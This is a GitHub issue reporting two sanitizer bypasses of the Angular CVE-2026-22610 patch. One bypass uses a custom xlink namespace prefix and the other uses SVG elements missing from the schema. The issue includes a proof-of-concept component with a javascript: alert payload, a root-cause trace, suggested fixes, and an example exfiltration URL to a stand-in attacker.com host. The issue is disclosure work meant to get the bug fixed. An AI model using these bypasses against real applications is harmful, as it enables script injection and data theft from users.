-
Notifications
You must be signed in to change notification settings - Fork 27.1k
Description
Which @angular/* package(s) are the source of the bug?
Compiler
Is this a regression?
No
Description
IMPORTANT NOTE: GOOGLE VRP TEAM ACCEPTED THIS REPORT AS A PUBLIC ISSUE
Summary
The patch for CVE-2026-22610 / GHSA-jrmj-c5cx-3cw6 added script|href and script|xlink:href to the RESOURCE_URL security context. The fix uses exact string matching throughout the pipeline — both in the compiler's SECURITY_SCHEMA lookup and in the runtime's getUrlSanitizer(). This creates two gaps:
-
Namespace prefix bypass: The schema matches the literal string
xlink:href. An SVG template can declare any prefix for thehttp://www.w3.org/1999/xlinknamespace (e.g.,xmlns:s="http://www.w3.org/1999/xlink"). Setting[attr.s:href]resolves to the same namespace in the DOM but doesn't matchxlink:hrefin the schema, sosecurityContext()returnsNONE. -
Missing SVG elements: Only
<script>was added to the schema. Other SVG elements that acceptxlink:hreffor resource loading —<use>,<image>,<feImage>— are not in the schema at all. Theirxlink:hrefattributes getSecurityContext.NONEand bypass sanitization entirely.
Product & Version
- Package:
@angular/compiler,@angular/core - Tested on: Angular
21.1.0+(latestmain, commit8de0d25ffa, post-CVE-2026-22610 fix) - Fix commits present:
91dc91bae4,26cdc53d9c,c2c2b4aaa8— all titled "fix(core): sanitize sensitive attributes on SVG script elements"
Severity
HIGH — Direct bypass of an accepted security patch. The framework's "secure by default" guarantee is broken for the exact attack vector the patch tried to address.
Proof of Concept
// app.ts
import { Component, signal, ElementRef, ViewChild } from '@angular/core';
@Component({
selector: 'app-root',
template: `
<div style="font-family: monospace; max-width: 800px; margin: 20px auto;">
<h1>CVE-2026-22610 Bypass PoC</h1>
<p>This page proves that Angular's sanitizer is bypassed for specific SVG attributes.</p>
<div class="test-case" style="border: 2px solid #d00; padding: 15px; margin-bottom: 20px;">
<h2 style="color: #d00; margin-top: 0;">Bypass 1: Namespace Prefix</h2>
<svg width="100" height="20">
<script #scriptTag [attr.s:href]="payload()" xmlns:s="http://www.w3.org/1999/xlink"></script>
</svg>
<p><strong>DOM State:</strong> <span class="result" [innerHTML]="scriptDom()"></span></p>
</div>
<div class="test-case" style="border: 2px solid #d00; padding: 15px; margin-bottom: 20px;">
<h2 style="color: #d00; margin-top: 0;">Bypass 2: Missing <use> Element</h2>
<svg width="100" height="20">
<use #useTag [attr.xlink:href]="payload()"></use>
</svg>
<p><strong>DOM State:</strong> <span class="result" [innerHTML]="useDom()"></span></p>
</div>
<div class="test-case" style="border: 2px solid green; padding: 15px; margin-bottom: 20px;">
<h2 style="color: green; margin-top: 0;">Control: Patched Behavior</h2>
<svg width="100" height="20">
<script #controlTag [attr.xlink:href]="payload()"></script>
</svg>
<p><strong>DOM State:</strong> <span class="result" [innerHTML]="controlDom()"></span></p>
</div>
<button id="reveal-btn" (click)="revealDom()" style="padding: 10px 20px; font-size: 16px; background: #007bff; color: white; border: none; cursor: pointer;">
Reveal Raw DOM Rendered by Angular
</button>
</div>
`,
styles: [`
.result { background: #eee; padding: 4px; border-radius: 4px; display: block; margin-top: 8px; white-space: pre-wrap; word-break: break-all; }
`]
})
export class App {
payload = signal('javascript:alert("XSS_EXECUTED_BYPASS")');
@ViewChild('scriptTag') scriptTag!: ElementRef;
@ViewChild('useTag') useTag!: ElementRef;
@ViewChild('controlTag') controlTag!: ElementRef;
scriptDom = signal('Waiting...');
useDom = signal('Waiting...');
controlDom = signal('Waiting...');
revealDom() {
this.scriptDom.set(this.escapeHtml(this.scriptTag.nativeElement.outerHTML));
this.useDom.set(this.escapeHtml(this.useTag.nativeElement.outerHTML));
this.controlDom.set(this.escapeHtml(this.controlTag.nativeElement.outerHTML));
}
private escapeHtml(unsafe: string) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
}- Bypass 1 (
<script s:href>): The rawjavascript:...string is present in the DOM. - Bypass 2 (
<use xlink:href>): The rawjavascript:...string is present in the DOM. - Control (
<script xlink:href>): Angular correctly blocked and removed the attribute.
Steps to reproduce
ng new repro-app(Angular 21.x).- Replace
app.component.tswith the above. ng serve, open in browser.- Inspect the three SVG elements in DevTools.
Verified result
The control case (xlink:href on <script>) triggers ɵɵsanitizeResourceUrl and throws a runtime error as expected. The two bypass cases pass through silently.
Root Cause — Full Trace
Bypass 1: Namespace prefix
Step 1 — Compiler calls securityContext()
When the compiler processes [attr.s:href] on a <script> element, it calls DomElementSchemaRegistry.securityContext():
// dom_element_schema_registry.ts, lines 437-457
override securityContext(tagName: string, propName: string, isAttribute: boolean): SecurityContext {
if (isAttribute) {
propName = this.getMappedPropName(propName);
// getMappedPropName() returns 's:href' unchanged — it's not in the _ATTR_TO_PROP map
}
tagName = tagName.toLowerCase(); // → 'script'
propName = propName.toLowerCase(); // → 's:href'
let ctx = SECURITY_SCHEMA()[tagName + '|' + propName];
// Looks up 'script|s:href' — NOT in the schema.
// The schema has 'script|xlink:href' but NOT 'script|s:href'.
if (ctx) { return ctx; }
ctx = SECURITY_SCHEMA()['*|' + propName];
// Looks up '*|s:href' — also not in the schema.
return ctx ? ctx : SecurityContext.NONE;
// Falls through to NONE.
}Because the schema entry is the literal string 'script|xlink:href' (line 125 of dom_security_schema.ts) and we're passing 's:href', the lookup fails. No prefix normalization happens. The compiler emits the binding with SecurityContext.NONE.
Step 2 — Runtime calls getUrlSanitizer()
At runtime, the same literal matching happens in getUrlSanitizer():
// sanitization.ts, lines 227-234
export function getUrlSanitizer(tag: string, prop: string) {
const isResource =
(prop === 'src' && SRC_RESOURCE_TAGS.has(tag)) ||
(prop === 'href' && HREF_RESOURCE_TAGS.has(tag)) ||
(prop === 'xlink:href' && tag === 'script');
// prop is 's:href', not 'xlink:href' → false
return isResource ? ɵɵsanitizeResourceUrl : ɵɵsanitizeUrl;
// Returns ɵɵsanitizeUrl (URL context), NOT ɵɵsanitizeResourceUrl
}But this path only runs for host bindings. For template bindings, the compiler already decided SecurityContext.NONE, so no sanitizer is called at all. The raw value goes straight to the DOM.
Bypass 2: Missing <use> element
This one is simpler. The SECURITY_SCHEMA in dom_security_schema.ts has entries for <script>, <a>, and various MathML elements. <use> is absent:
// dom_security_schema.ts — RESOURCE_URL entries (lines 113-126):
'base|href', 'embed|src', 'frame|src', 'iframe|src',
'link|href', 'object|codebase', 'object|data',
'script|src', 'script|href', 'script|xlink:href'
// No 'use|href', 'use|xlink:href', 'image|href', etc.
When securityContext('use', 'xlink:href', true) is called, both lookups ('use|xlink:href' and '*|xlink:href') miss. Result: SecurityContext.NONE. No sanitizer.
For context, the SVG <use> element is widely used for icon sprite sheets. <use xlink:href="proxy.php?url=https%3A%2F%2Fgithub.com.%2F%23icon-name"> is one of the most common SVG patterns in production Angular apps.
Impact
Bypass 1 (prefix): Requires the developer to write a custom namespace prefix on a <script> element, which is uncommon but valid SVG. The main concern is that the framework's security contract is broken — any code path that relies on securityContext() returning the correct value for namespaced attributes will fail silently.
Bypass 2 (missing elements): <use> and <image> are commonly used SVG elements. If their xlink:href is bound to user input (e.g., a configurable icon sprite URL), the value bypasses sanitization. While modern browsers block javascript: execution from <use>, they will fetch arbitrary external URLs, enabling SSRF-style data exfiltration — e.g., <use xlink:href="proxy.php?url=https%3A%2F%2Fattacker.com%2Fsteal%3Fdata%3D..."> would trigger a network request.
Suggested Fix
-
Prefix normalization in
securityContext(): Before lookup, strip any namespace prefix from the attribute name. IfpropNamecontains a colon, extract the local name (the part after the colon) and check that against known sensitive local names (href). -
Expand the schema: Add
use|xlink:href,use|href,image|xlink:href,image|href,feImage|xlink:href, andfeImage|hrefto theURLsecurity context. -
Same normalization in
getUrlSanitizer(): Apply the same prefix-stripping logic so the runtime fallback also catches custom prefixes.
Please provide a link to a minimal reproduction of the bug
No response
Please provide the exception or error you saw
Please provide the environment you discovered this bug in (run ng version)
Anything else?
No response